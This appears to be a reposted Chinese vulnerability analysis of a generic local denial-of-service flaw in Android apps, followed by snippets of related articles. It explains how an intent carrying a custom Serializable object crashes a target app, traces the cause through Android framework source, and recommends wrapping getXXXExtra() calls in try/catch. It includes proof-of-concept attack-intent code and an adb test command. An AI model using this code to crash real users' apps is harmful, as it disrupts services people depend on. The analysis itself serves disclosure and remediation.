Android APP通用型拒绝服务、漏洞分析报告

点评:记得曾经有段时间很多SRC平台被刷了大量APP本地拒绝服务漏洞(目前腾讯金刚审计系统已经可检测此类漏洞),移动安全团队发现了一个安卓客户端的通用型拒绝服务漏洞,来看看他们的详细分析吧。 
0xr0ot和Xbalien交流所有可能导致应用拒绝服务的异常类型时,发现了一处通用的本地拒绝服务漏洞。该通用型本地拒绝服务可以造成大面积的app拒绝服务。 
针对序列化对象而出现的拒绝服务主要是由于应用中使用了getSerializableExtra() 的API,由于应用开发者没有对传入的数据做异常判断,恶意应用可以通过传入畸形数据,导致应用本地拒绝服务。 
漏洞应用代码片段:

Intent i = getIntent(); 
if(i.getAction().equals("serializable_action")){ 
i.getSerializableExtra("serializable_key"); //未做异常判断 
}

攻击应用代码片段:

Intent i = new Intent(); 
i.setAction("serializable_action"); 
i.setClassName("com.exp.serializable", "com.exp.serializable.MainActivity"); 
i.putExtra("seriadddddlizable_dkey",XXX); //此处是传入畸形数据 
startActivity(i);

比如XXX处传入BigInteger.valueOf(1)极有可能发生转型异常错误java.lang.ClassCastException。 
但后来交流中发现,当传入一个自定义的序列化对象Serializable或getParcelable对象时,接收Intent的目标组件在getSerializableExtra()、getParcelable()等会抛出类未定义的异常java.lang.NoClassDefFoundError。这是因为当你给漏洞应用传入一个应用本身并没有的序列化类对象,在应用上下文中肯定是找不到这个类的。 
自定义的序列化类很简单:

public class DataSchema implements Serializable { 
private static final long serialVersionUID = -3601187837704976264L; 
public DataSchema() { 
super(); 

}

对应的攻击代码中XXX处传入new DataSchema(),我们发现传入的key不管是否与漏洞应用相同,都会抛出类未定义的异常。 
随着测试的深入,我们通过logcat发现,在错误日志里不一定是getSerializableExtra()、getParcelable()导致的。然后我们就延伸了下,试着向getXXXExtra()传入我们自定义的序列化类对象,发现都会抛出类未定义的异常。 
测试app代码片段:

protected void onCreate(Bundle savedInstanceState) { 
Intent intent = getIntent(); 
intent.getStringExtra("ROIS"); //此处依然会由于NoClassDefFoundError crash 
}

接着我们测试了市面上大量主流应用,涵盖BAT等。发现这种方法可以通杀。我们开始觉得这个是android本身的问题,开始翻源代码。 
/frameworks/base/core/java/android/content/Intent.java

public String getStringExtra(String name) { 
return mExtras == null ? null : mExtras.getString(name); 

/frameworks/base/core/java/android/os/Bundle.java 
public String getString(String key) { 
unparcel(); //处理数据 
... 

/* package */ synchronized void unparcel() { 
... 
mParcelledData.readMapInternal(mMap, N, mClassLoader); 
... 
}

/frameworks/base/core/java/android/os/Parcel.java 
readMapInternal解析传递进来的数据

/* package */ void readMapInternal(Map outVal, int N, 
ClassLoader loader) { 
while (N > 0) { 
Object key = readValue(loader); 
Object value = readValue(loader); 
outVal.put(key, value); 
N--; 


最后当解析到Serializable对象时,由于加载不到类,抛出异常 
public final Serializable readSerializable() { 
... 
try { 
ObjectInputStream ois = new ObjectInputStream(bais); 
return (Serializable) ois.readObject(); 
} catch (IOException ioe) { 
throw new RuntimeException("Parcelable encountered " + 
"IOException reading a Serializable object (name = " + name + 
")", ioe); 
} catch (ClassNotFoundException cnfe) { 
throw new RuntimeException("Parcelable encountered" + 
"ClassNotFoundException reading a Serializable object (name = " 
+ name + ")", cnfe); 

}

但是回头想想,谷歌肯定不是认为这是android的漏洞,开发者只要加个try catch 捕获异常就可以了。 
漏洞修复: 
不管是get什么extra,只要是getXXXExtra(),加上try catch捕获异常即可。 
漏洞检测: 
为了方便大家测试我们写了个简单的验证程序。 
使用方法: 
adb shell am start -n com.qihoo.checkextracrash/.MainActivity -e package_name packagename -e class_name componentname

时间: 2024-08-04 14:04:14

Android APP通用型拒绝服务、漏洞分析报告的相关文章

Android应用安全之Android APP通用型拒绝服务漏洞

0xr0ot和Xbalien交流所有可能导致应用拒绝服务的异常类型时,发现了一处通用的本地拒绝服务漏洞.该通用型本地拒绝服务可以造成大面积的app拒绝服务. 针对序列化对象而出现的拒绝服务主要是由于应用中使用了getSerializableExtra() 的API,由于应用开发者没有对传入的数据做异常判断,恶意应用可以通过传入畸形数据,导致应用本地拒绝服务.漏洞应用代码片段: Intent i = getIntent(); if(i.getAction().equals("serializabl

安卓拒绝服务漏洞分析及漏洞检测

"超级拒绝服务漏洞"是一个安卓通用型拒绝服务漏洞,恶意攻击者可能利用此漏洞让手机中的任意应用崩溃无法正常工作,几乎影响目前市面上所有的安卓APP应用. 漏洞分析: 0xr0ot和Xbalien交流所有可能导致应用拒绝服务的异常类型时,发现了一处通用的本地拒绝服务漏洞.该通用型本地拒绝服务可以造成大面积的app拒绝服务. 针对序列化对象而出现的拒绝服务主要是由于应用中使用了getSerializableExtra() 的API,由于应用开发者没有对传入的数据做异常判断,恶意应用可以通过传

[经验交流] (最新)移动App应用安全漏洞分析报告 !

漏洞扫描方式主要分为静态和动态,静态扫描的漏洞类型主要包含SQL注入风险.webview系列.文件模式配置错误.https不校验证书.database配置错误等.动态扫描的漏洞类型主要包含拒绝服务攻击.文件目录遍历漏洞.file跨域访问等. 本报告选取11类android app中同等数量的热门app,其活跃用户量可覆盖83%的移动端网民,根据阿里巴巴移动安全中心对这些app的漏洞检测,得到以下结论: 参与检测的android app中,近97%的app都存在漏洞问题,且平均漏洞量高达40个.

(最新)移动App应用安全漏洞分析报告 !

漏洞扫描方式主要分为静态和动态,静态扫描的漏洞类型主要包含SQL注入风险.webview系列.文件模式配置错误.https不校验证书.database配置错误等.动态扫描的漏洞类型主要包含拒绝服务攻击.文件目录遍历漏洞.file跨域访问等. 本报告选取11类android app中同等数量的热门app,其活跃用户量可覆盖83%的移动端网民,根据阿里巴巴移动安全中心对这些app的漏洞检测,得到以下结论: 参与检测的android app中,近97%的app都存在漏洞问题,且平均漏洞量高达40个.

金融行业安全漏洞分析报告

报告介绍 互联网+时代的到来,人们充分享受新时代科技创新成果的便利同时,万物互联带来的信息安全风险也日渐提高,信息泄密事件层出不穷,在资金体量庞大.用户信息集中.安全隐患影响深远的金融领域,所面临的安全问题尤为凸显.人们真切地感知到,原有的金融服务模式被颠覆,网银.第三方支付.互联网金融等新兴模式异军突起.用户也在这些新的业务模式下,将自身姓名.***号码.手机号码等身份认证信息与业务紧密绑定关联.所以说,互联网的发展为传统的信息防御体系划开了一道口子,打破看似牢不可破的安全防护状态,直逼用户核

2015年11月数据安全漏洞分析报告

报告核心观点 1.千帆过尽,SQL注入仍"不改" 2.本月金融业漏洞增长尤为突出 3.11月常见数据泄露原因分析 4.解决弱口令安全建议 报告正文 2015年11月,安华每日安全资讯总结发布了126个数据泄密高危漏洞,这些漏洞分别来自乌云.补天.漏洞盒子等平台,涉及8个行业,公司机构.互联 网.交通运输.教育.金融.能源.运营商.政府.漏洞类型涉及,SQL注入.系统漏洞.弱口令等7类,其中SQL注入仍然是漏洞类型的重灾区. 千帆过尽,SQL注入仍"不改" 数据安全问

比葫芦娃还可怕的百度全系APP SDK漏洞 - WormHole虫洞漏洞分析报告 (转载)

瘦蛟舞 · 2015/11/02 10:50 作者:瘦蛟舞,蒸米 ”You can’t have a back door in the software because you can’t have a back door that’s only for the good guys.“ - Apple CEO Tim Cook ”你不应该给软件装后门因为你不能保证这个后门只有好人能够使用.” – 苹果CEO 库克 0x00 序 最早接触网络安全的人一定还记得当年RPC冲击波,WebDav等远程攻

2015年8月数据安全漏洞分析报告

安华金和数据库攻防实验室(DBSec Labs)以月为单位,将高危漏洞汇总,形成分析报告,分享广大用户及合作伙伴. 8月报告核心观点 1.Web是数据泄露的主要渠道 2.互联网成为数据泄漏频发地 3.8月常见数据泄漏原因 4.针对数据泄漏的防范手段 报告正文 2015年8月,我们总结发布了102个数据泄密高危漏洞,这些漏洞分别来自漏洞盒子.乌云.补天等平台,涉及11个行业,企业机构.互联网.交通运输.教育.金融保险.旅游.能源.社保公积金.医疗卫生.运营商.政府.102个漏洞中,其中绝大多数泄露

android.app.Fragment$InstantiationException的原因分析

1. Fragment$InstantiationException的原因分析 在编写Fragment类的代码时候,Android Lint有时会提示如下error: Avoid not-default constructors in fragments: use a default constructor plus Fragment$setArguments(Bundle) instead From the Fragment documentation: Every fragment must